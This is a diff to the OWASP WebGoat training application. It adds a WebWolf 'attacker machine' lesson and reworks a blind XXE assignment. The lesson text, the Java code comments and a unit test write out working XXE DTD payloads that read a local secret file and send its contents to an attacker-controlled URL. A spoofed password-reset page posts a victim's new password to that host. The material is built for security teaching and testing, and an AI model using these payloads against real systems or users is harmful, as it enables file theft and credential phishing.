|
||||
}
|
@ -53,7 +53,7 @@ public class VulnerableComponentsLessonTest extends AssignmentEndpointTest {
|
||||
@Test
|
||||
public void success() throws Exception {
|
||||
// mockMvc.perform(MockMvcRequestBuilders.post("/VulnerableComponents/attack1").content("Test"))
|
||||
// .andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
|
||||
// .andExpect(status().isOk())
|
||||
// .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("http-proxies.intercept.success"))))
|
||||
// .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||
}
|
||||
|
11
webgoat-lessons/webwolf-introduction/pom.xml
Normal file
@ -0,0 +1,11 @@
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<artifactId>webwolf-introduction</artifactId>
|
||||
<packaging>jar</packaging>
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>8.0-SNAPSHOT</version>
|
||||
</parent>
|
||||
</project>
|
@ -0,0 +1,49 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.servlet.ModelAndView;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.net.URI;
|
||||
import java.net.URISyntaxException;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 8/20/17.
|
||||
*/
|
||||
@AssignmentPath("/WebWolf/landing")
|
||||
public class LandingAssignment extends AssignmentEndpoint {
|
||||
|
||||
@Value("${webworf.url.landingpage}")
|
||||
private String landingPageUrl;
|
||||
|
||||
@PostMapping
|
||||
@ResponseBody
|
||||
public AttackResult click(String uniqueCode) {
|
||||
if (StringUtils.reverse(getWebSession().getUserName()).equals(uniqueCode)) {
|
||||
return trackProgress(success().build());
|
||||
}
|
||||
return failed().feedback("webwolf.landing_wrong").build();
|
||||
}
|
||||
|
||||
|
||||
@GetMapping("/password-reset")
|
||||
public ModelAndView openPasswordReset(HttpServletRequest request) throws URISyntaxException {
|
||||
URI uri = new URI(request.getRequestURL().toString());
|
||||
ModelAndView modelAndView = new ModelAndView();
|
||||
modelAndView.addObject("webwolfUrl", landingPageUrl);
|
||||
modelAndView.addObject("uniqueCode", StringUtils.reverse(getWebSession().getUserName()));
|
||||
|
||||
modelAndView.setViewName("webwolfPasswordReset");
|
||||
return modelAndView;
|
||||
}
|
||||
|
||||
|
||||
}
|
@ -0,0 +1,55 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.mail.IncomingMailEvent;
|
||||
import org.springframework.jms.core.JmsTemplate;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 8/20/17.
|
||||
*/
|
||||
@AssignmentPath("/WebWolf/mail")
|
||||
@AllArgsConstructor
|
||||
public class MailAssignment extends AssignmentEndpoint {
|
||||
|
||||
private JmsTemplate jmsTemplate;
|
||||
|
||||
@PostMapping("send")
|
||||
@ResponseBody
|
||||
public AttackResult sendEmail(@RequestParam String email) {
|
||||
String username = email.substring(0, email.indexOf("@"));
|
||||
if (username.equals(getWebSession().getUserName())) {
|
||||
IncomingMailEvent mailEvent = IncomingMailEvent.builder()
|
||||
.recipient(username)
|
||||
.title("Test messages from WebWolf")
|
||||
.time(LocalDateTime.now())
|
||||
.contents("This is a test message from WebWolf, your unique code is" + StringUtils.reverse(username))
|
||||
.sender("webgoat@owasp.org")
|
||||
.build();
|
||||
jmsTemplate.convertAndSend("mailbox", mailEvent);
|
||||
return informationMessage().feedback("webwolf.email_send").feedbackArgs(email).build();
|
||||
} else {
|
||||
return informationMessage().feedback("webwolf.email_mismatch").feedbackArgs(username).build();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@PostMapping
|
||||
@ResponseBody
|
||||
public AttackResult completed(@RequestParam String uniqueCode) {
|
||||
if (uniqueCode.equals(StringUtils.reverse(getWebSession().getUserName()))) {
|
||||
return trackProgress(success().build());
|
||||
} else {
|
||||
return trackProgress(failed().feedbackArgs("webwolf.code_incorrect").feedbackArgs(uniqueCode).build());
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,63 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import org.owasp.webgoat.lessons.Category;
|
||||
import org.owasp.webgoat.lessons.NewLesson;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* ************************************************************************************************
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
* <p>
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
* <p>
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
* <p>
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
* <p>
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
* <p>
|
||||
*
|
||||
* @author WebGoat
|
||||
* @version $Id: $Id
|
||||
* @since October 12, 2016
|
||||
*/
|
||||
public class WebWolfIntroduction extends NewLesson {
|
||||
@Override
|
||||
public Category getDefaultCategory() {
|
||||
return Category.INTRODUCTION;
|
||||
}
|
||||
|
||||
@Override
|
||||
public List<String> getHints() {
|
||||
return new ArrayList();
|
||||
}
|
||||
|
||||
@Override
|
||||
public Integer getDefaultRanking() {
|
||||
return 1;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getTitle() {
|
||||
return "webwolf.title";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getId() {
|
||||
return "WebWolfIntroduction";
|
||||
}
|
||||
}
|
@ -0,0 +1,99 @@
|
||||
<!DOCTYPE html>
|
||||
<html xmlns:th="http://www.thymeleaf.org">
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:Introduction.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:Uploading_files.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:Receiving_mail.adoc"></div>
|
||||
<div class="attack-container">
|
||||
<form accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
action="/WebGoat/WebWolf/send"
|
||||
enctype="application/json;charset=UTF-8">
|
||||
<div class="container-fluid">
|
||||
<div class="row">
|
||||
<div class="col-md-4">
|
||||
<div class="form-group input-group">
|
||||
<span class="input-group-addon">
|
||||
@
|
||||
</span>
|
||||
<input class="form-control" placeholder="test1233@webgoat.org" name="email" type="email"
|
||||
required=""/>
|
||||
</div>
|
||||
<button type="submit" class="btn btn-primary btn-block" id="btn-login">
|
||||
Send e-mail
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<br/>
|
||||
<br/>
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<form class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
action="/WebGoat/WebWolf/mail/"
|
||||
enctype="application/json;charset=UTF-8">
|
||||
<div class="container-fluid">
|
||||
<div class="row">
|
||||
<div class="col-md-4">
|
||||
<div class="input-group">
|
||||
<input type="text" class="form-control"
|
||||
placeholder="Type in your unique code"
|
||||
name='uniqueCode'/>
|
||||
<div class="input-group-btn">
|
||||
<button class="btn btn-primary" type="submit">Go</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<br/>
|
||||
<br/>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:Landing_page.adoc"></div>
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<a href="/WebGoat/WebWolf/landing/password-reset" target="_blank">Click here to reset your password</a>
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
<form class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
action="/WebGoat/WebWolf/landing/"
|
||||
enctype="application/json;charset=UTF-8">
|
||||
<div class="container-fluid">
|
||||
<div class="row">
|
||||
<div class="col-md-4">
|
||||
<div class="input-group">
|
||||
<input type="text" class="form-control"
|
||||
placeholder="Type in your unique code"
|
||||
name='uniqueCode'/>
|
||||
<div class="input-group-btn">
|
||||
<button class="btn btn-primary" type="submit">Go</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<br/>
|
||||
<br/>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</html>
|
@ -0,0 +1,9 @@
|
||||
webwolf.title=WebWolf
|
||||
|
||||
webwolf.email_send=An email has been send to {0} please check your inbox.
|
||||
webwolf.code_incorrect=That is not the correct code: {0}, please try again.
|
||||
|
||||
|
||||
webwolf.email_mismatch=Of course you can send mail to user {0} however you will not be able to read this e-mail in WebWolf, please use your own username.
|
||||
|
||||
webwolf.landing_wrong=This is the wrong code, try to look for the uniqueCode in the parameters in WebWolf.
|
After Width: | Height: | Size: 26 KiB |
After Width: | Height: | Size: 54 KiB |
After Width: | Height: | Size: 57 KiB |
@ -0,0 +1,21 @@
|
||||
== Introducing WebWolf
|
||||
|
||||
WebWolf is a separate web application which simulates an attackers machine. It makes it possible for us to
|
||||
make a clear distinction between what takes place on the attacked website and the actions you need to do as
|
||||
an "attacker". WebWolf was introduced after a couple of workshops where we received feedback about the fact there
|
||||
was no clear distinction between what was part of the "attackers" role and what was part of the "users" role on the
|
||||
website. The following items are supported in WebWolf:
|
||||
|
||||
* Hosting a file
|
||||
* Receiving email
|
||||
* Landing page for incoming requests
|
||||
|
||||
WebWolf runs as a separate web application and is started automatically when using the Docker image. If you
|
||||
are not using the Docker image you will need to download the jar file and start it:
|
||||
|
||||
```
|
||||
java -jar webwolf-<<version>>.jar
|
||||
```
|
||||
|
||||
This will start the application on port 8081, in your browser type: `http://localhost:8081/WebWolf`
|
||||
You will be redirected to the login page where you need to login with your WebGoat username and password
|
@ -0,0 +1,25 @@
|
||||
== Landing page
|
||||
|
||||
This page will show all the requests made to '/landing/**'. This means
|
||||
you can use WebWolf as your landing page for harvesting cookies etc which
|
||||
is helpful when you perform a XSS lesson.
|
||||
|
||||
image::images/requests.png[caption="Figure: ", style="lesson-image"]
|
||||
|
||||
{nbsp}
|
||||
{nbsp}
|
||||
{nbsp}
|
||||
|
||||
*For this exercise you need to login to WebWolf first.*
|
||||
|
||||
{nbsp}
|
||||
{nbsp}
|
||||
|
||||
Suppose we tricked a user to click on a link he/she received in an email, this link will open up our crafted
|
||||
password reset link page. The user does not see any difference with the normal password reset page of the company.
|
||||
The user enters a new password and hits enter, the new password will be send to your host. In this case the new
|
||||
password will be send to WebWolf. Try to locate the unique code.
|
||||
|
||||
Please be aware after resetting the password the user will receive an error page in a real attack scenario the
|
||||
user would probably see a normal success page (this is due to a limit what we can control with WebWolf)
|
||||
|
@ -0,0 +1,18 @@
|
||||
== Your own mailbox
|
||||
|
||||
WebWolf offers a mail client which will contain the e-mail send during a lesson.
|
||||
This mailbox is user specific so each user has a separate mailbox. All e-mail
|
||||
send to {user}@.... wil end up in this inbox.
|
||||
|
||||
{nbsp}
|
||||
{nbsp}
|
||||
{nbsp}
|
||||
|
||||
image::images/mailbox.png[caption="Figure: ", style="lesson-image"]
|
||||
|
||||
{nbsp}
|
||||
{nbsp}
|
||||
{nbsp}
|
||||
|
||||
Try it, type in your e-mail address below and check in
|
||||
WebWolf your e-mail and type in the unique code below.
|
@ -0,0 +1,12 @@
|
||||
== Uploading files
|
||||
|
||||
In this section you can upload files these files will be available from outside
|
||||
the application. For example in a XXE attack you want to reference a DTD which you
|
||||
reference from a xml, you can use WebWolf to serve this DTD.
|
||||
|
||||
image::images/files.png[caption="Figure: ", style="lesson-image"]
|
||||
|
||||
{nbsp}
|
||||
|
||||
After uploading a file you can use the 'Link' to get the full URL to the uploaded
|
||||
file.
|
@ -0,0 +1,34 @@
|
||||
<!DOCTYPE html>
|
||||
<html xmlns:th="http://www.thymeleaf.org">
|
||||
<head>
|
||||
<link rel="stylesheet" type="text/css" th:href="@{/plugins/bootstrap/css/bootstrap.min.css}"/>
|
||||
<link rel="stylesheet" type="text/css" th:href="@{/css/font-awesome.min.css}"/>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-xs-12 col-sm-8 col-md-6 col-sm-offset-2 col-md-offset-3">
|
||||
<form role="form" method="POST" th:action="${webwolfUrl}">
|
||||
<h2 class="sign_up_title">Reset your password</h2>
|
||||
<input type="hidden" name="uniqueCode" th:value="${uniqueCode}"/>
|
||||
<div class="form-group">
|
||||
<label for="password" class="control-label">Password</label>
|
||||
<input type="password" class="form-control" id="password" placeholder="Password"
|
||||
name='password'/>
|
||||
</div>
|
||||
<div class="row">
|
||||
<div class="col-xs-12 col-md-12">
|
||||
<button type="submit" class="btn btn-success btn-block btn-lg">Save</button>
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<a href="https://github.com/WebGoat">(c) 2017 WebGoat Company</a>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
@ -15,5 +15,13 @@
|
||||
<artifactId>commons-lang</artifactId>
|
||||
<version>2.6</version>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>com.github.tomakehurst</groupId>
|
||||
<artifactId>wiremock</artifactId>
|
||||
<version>2.8.0</version>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
|
||||
</dependencies>
|
||||
</project>
|
@ -1,17 +1,13 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import com.beust.jcommander.internal.Lists;
|
||||
import com.google.common.base.Joiner;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.FileUtils;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.core.io.ClassPathResource;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.util.FileCopyUtils;
|
||||
import org.springframework.web.bind.annotation.RequestBody;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
@ -19,10 +15,8 @@ import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.PostConstruct;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.List;
|
||||
|
||||
import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic;
|
||||
|
||||
/**
|
||||
* ************************************************************************************************
|
||||
@ -56,46 +50,47 @@ import java.util.List;
|
||||
@AssignmentPath("xxe/blind")
|
||||
public class BlindSendFileAssignment extends AssignmentEndpoint {
|
||||
|
||||
static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")";
|
||||
@Value("${webgoat.user.directory}")
|
||||
private String webGoatHomeDirectory;
|
||||
@Autowired
|
||||
private Comments comments;
|
||||
@Autowired
|
||||
private WebSession webSession;
|
||||
|
||||
@PostConstruct
|
||||
@SneakyThrows
|
||||
public void copyFile() {
|
||||
ClassPathResource classPathResource = new ClassPathResource("secret.txt");
|
||||
public void createSecretFileWithRandomContents() {
|
||||
File targetDirectory = new File(webGoatHomeDirectory, "/XXE");
|
||||
if (!targetDirectory.exists()) {
|
||||
targetDirectory.mkdir();
|
||||
}
|
||||
FileCopyUtils.copy(classPathResource.getInputStream(), new FileOutputStream(new File(targetDirectory, "secret.txt")));
|
||||
FileUtils.write(new File(targetDirectory, "secret.txt"), CONTENTS);
|
||||
}
|
||||
|
||||
@RequestMapping(method = RequestMethod.POST, consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
|
||||
@ResponseBody
|
||||
public AttackResult addComment(@RequestBody String commentStr) throws Exception {
|
||||
String error = "Parsing successful contents not send to attacker";
|
||||
//Solution is posted as a separate comment
|
||||
if (commentStr.contains(CONTENTS)) {
|
||||
return trackProgress(success().build());
|
||||
}
|
||||
|
||||
try {
|
||||
Comment comment = comments.parseXml(commentStr);
|
||||
comments.addComment(comment, false);
|
||||
} catch (Exception e) {
|
||||
error = e.toString();
|
||||
}
|
||||
|
||||
File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
|
||||
List<String> lines = logFile.exists() ? Files.readAllLines(Paths.get(logFile.toURI())) : Lists.newArrayList();
|
||||
boolean solved = lines.stream().filter(l -> l.contains("WebGoat 8 rocks...")).findFirst().isPresent();
|
||||
if (solved) {
|
||||
logFile.delete();
|
||||
return trackProgress(success().output("xxe.blind.output").outputArgs(Joiner.on('\n').join(lines)).build());
|
||||
} else {
|
||||
return trackProgress(failed().output(error).build());
|
||||
return trackProgress(failed().output(e.toString()).build());
|
||||
}
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
|
||||
/**
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE comment [
|
||||
<!ENTITY % remote SYSTEM "http://localhost:8081/files/admin2/attack.dtd">
|
||||
%remote;
|
||||
]>
|
||||
<comment> <text>test&send;</text></comment>
|
||||
**/
|
||||
/**
|
||||
* Solution:
|
||||
*
|
||||
@ -104,14 +99,14 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
|
||||
* <pre>
|
||||
* <?xml version="1.0" encoding="UTF-8"?>
|
||||
* <!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
|
||||
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=%file;'>">
|
||||
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8081/ping?text=%file;'>">
|
||||
* %all;
|
||||
* </pre>
|
||||
*
|
||||
* This will be reduced to:
|
||||
*
|
||||
* <pre>
|
||||
* <!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]'>
|
||||
* <!ENTITY send SYSTEM 'http://localhost:8081/ping?text=[contents_file]'>
|
||||
* </pre>
|
||||
*
|
||||
* Wire it all up in the xml send to the server:
|
||||
@ -119,7 +114,7 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
|
||||
* <pre>
|
||||
* <?xml version="1.0"?>
|
||||
* <!DOCTYPE root [
|
||||
* <!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/plugin_lessons/XXE/test.dtd">
|
||||
* <!ENTITY % remote SYSTEM "http://localhost:8081/WebWolf/files/test.dtd">
|
||||
* %remote;
|
||||
* ]>
|
||||
* <user>
|
||||
|
@ -1,39 +1,30 @@
|
||||
|
||||
== Blind XXE
|
||||
|
||||
In some cases you will see no output because although your attack might have worked the field is not reflected in the output of page.
|
||||
Or the resource you are trying to read contains illegal XML character which causes the parser to fail.
|
||||
Let's start with an example, in this case we reference a external DTD which we control on our own server.
|
||||
Let's start with an example, in this case we reference an external DTD which we control on our own server.
|
||||
|
||||
Our WebGoat server by default has an /xxe/ping endpoint which we can use. *This can be any server under your control.*
|
||||
|
||||
[source]
|
||||
----
|
||||
curl -i http://localhost:8080/WebGoat/XXE/ping?text=HelloWorld
|
||||
|
||||
will result in:
|
||||
|
||||
GET curl/7.45.0 HelloWorld
|
||||
----
|
||||
|
||||
at the server side.
|
||||
As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example
|
||||
use this server to ping it using `http://localhost:8081/ping?text=HelloWorld
|
||||
|
||||
How do we use this endpoint to verify whether we can perform XXE?
|
||||
|
||||
In the `~/${user.home}/.webgoat/plugin/XXE` create a file called attack.dtd
|
||||
We can again use WebWolf to host a file called `attack.dtd`, create this file with the following contents:
|
||||
|
||||
[source]
|
||||
----
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!ENTITY ping SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=HelloWorld'>
|
||||
<!ENTITY ping SYSTEM 'http://localhost:8081/ping?text=HelloWorld'>
|
||||
----
|
||||
|
||||
Now submit the form and change the xml to:
|
||||
Now submit the form change the xml using to:
|
||||
|
||||
[source]
|
||||
----
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE root [
|
||||
<!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/XXE/attack.dtd">
|
||||
<!ENTITY % remote SYSTEM "http://localhost:8081/WebWolf/files/attack.dtd">
|
||||
%remote;
|
||||
]>
|
||||
<comment>
|
||||
@ -41,16 +32,24 @@ Now submit the form and change the xml to:
|
||||
</comment>
|
||||
----
|
||||
|
||||
Now if we check our server log we will see:
|
||||
Now in WebWolf browse to 'Incoming requests' and you will see:
|
||||
|
||||
[source]
|
||||
----
|
||||
GET Java/1.8.0_101 HelloWorld
|
||||
{
|
||||
"method" : "GET",
|
||||
"path" : "/ping",
|
||||
"headers" : {
|
||||
"request" : {
|
||||
"user-agent" : "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
|
||||
},
|
||||
},
|
||||
"parameters" : {
|
||||
"test" : [ "HelloWorld" ],
|
||||
},
|
||||
"timeTaken" : "1"
|
||||
}
|
||||
----
|
||||
|
||||
So with the XXE we are able to ping our own server which means XXE injection is possible. So with the XXE injection
|
||||
we are basically able to reach the same effect as we did in the beginning with the curl command.
|
||||
|
||||
[NOTE]
|
||||
In this case we use http://localhost:8080/WebGoat/plugin_lessons/XXE/test.dtd to fetch the dtd but in reality this will
|
||||
of course be a host fully under the attackers control.
|
@ -1,10 +1,23 @@
|
||||
== Blind XXE assignment
|
||||
|
||||
In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD
|
||||
which will upload the contents of ~/.webgoat/plugin/XXE/secret.txt to our server.
|
||||
For Linux: `/home/USER/.webgoat/XXE/secret.txt`, for Windows this would be `c:/Users/USER/.webgoat/XXE/secret.txt`
|
||||
If you use the Docker based WebGoat environment this file is located here: `/root/.webgoat/XXE/secret.txt`
|
||||
which will upload the contents of ~/.webgoat/plugin/XXE/secret.txt to our server. You can use WebWolf to serve your
|
||||
DTD.
|
||||
|
||||
Try to upload this file using the following endpoint: `http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]` (NOTE: this endpoint is under your full control)
|
||||
|
||||
You can login to the Docker container as follows: `docker exec -i -t <<name>> /bin/bash`
|
||||
|===
|
||||
|OS |Location
|
||||
|
||||
|Linux
|
||||
|`/home/USER/.webgoat/XXE/secret.txt`
|
||||
|
||||
|Windows
|
||||
|`c:/Users/USER/.webgoat/XXE/secret.txt`
|
||||
|
||||
|Docker
|
||||
|`/home/webgoat/.webgoat/XXE/secret.txt`
|
||||
|===
|
||||
|
||||
Try to upload this file using WebWolf landing page for example: `http://localhost:8081/WebWolf/landing?text=[contents_file]`
|
||||
(NOTE: this endpoint is under your full control)
|
||||
Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson.
|
@ -1,8 +1,11 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import com.google.common.io.Files;
|
||||
import com.github.tomakehurst.wiremock.client.WireMock;
|
||||
import com.github.tomakehurst.wiremock.junit.WireMockRule;
|
||||
import com.github.tomakehurst.wiremock.verification.LoggedRequest;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.Before;
|
||||
import org.junit.Rule;
|
||||
import org.junit.Test;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.owasp.webgoat.plugins.LessonTest;
|
||||
@ -10,11 +13,12 @@ import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.List;
|
||||
|
||||
import static com.github.tomakehurst.wiremock.client.WireMock.*;
|
||||
import static org.assertj.core.api.Assertions.assertThat;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
@ -32,13 +36,14 @@ public class BlindSendFileAssignmentTest extends LessonTest {
|
||||
@Value("${webgoat.user.directory}")
|
||||
private String webGoatHomeDirectory;
|
||||
|
||||
@Rule
|
||||
public WireMockRule webwolfServer = new WireMockRule(8081);
|
||||
|
||||
@Before
|
||||
public void setup() throws Exception {
|
||||
XXE xxe = new XXE();
|
||||
when(webSession.getCurrentLesson()).thenReturn(xxe);
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
|
||||
if (logFile.exists()) logFile.delete();
|
||||
when(webSession.getUserName()).thenReturn("unit-test");
|
||||
}
|
||||
|
||||
@ -47,7 +52,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
|
||||
int nrOfComments = comments.getComments().size();
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||
.content("<comment><text>test</text></comment>"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
|
||||
assertThat(comments.getComments().size()).isEqualTo(nrOfComments + 1);
|
||||
@ -57,7 +62,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
|
||||
public void wrongXmlShouldGiveErrorBack() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||
.content("<comment><text>test</ext></comment>"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))))
|
||||
.andExpect(jsonPath("$.output", CoreMatchers.is("javax.xml.bind.UnmarshalException\\n - with linked exception:\\n[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,22]\\nMessage: The element type \\\"text\\\" must be terminated by the matching end-tag \\\"<\\/text>\\\".]")));
|
||||
@ -65,26 +70,39 @@ public class BlindSendFileAssignmentTest extends LessonTest {
|
||||
|
||||
@Test
|
||||
public void solve() throws Exception {
|
||||
File file = new File(webGoatHomeDirectory, "XXE/attack.dtd");
|
||||
File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt");
|
||||
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
||||
"<!ENTITY % file SYSTEM \"file:///" + webGoatHomeDirectory + "/XXE/secret.txt\">\n" +
|
||||
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:" + localPort + "/WebGoat/XXE/ping?text=%file;'>\">\n" +
|
||||
"<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" +
|
||||
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:8081/landing?text=%file;'>\">\n" +
|
||||
"%all;";
|
||||
Files.write(dtd.getBytes(), file);
|
||||
String xml = "<?xml version=\"1.0\"?>\n" +
|
||||
"<!DOCTYPE root [\n" +
|
||||
"<!ENTITY % remote SYSTEM \"file://" + file.getAbsolutePath() + "\">\n" +
|
||||
"%remote;\n" +
|
||||
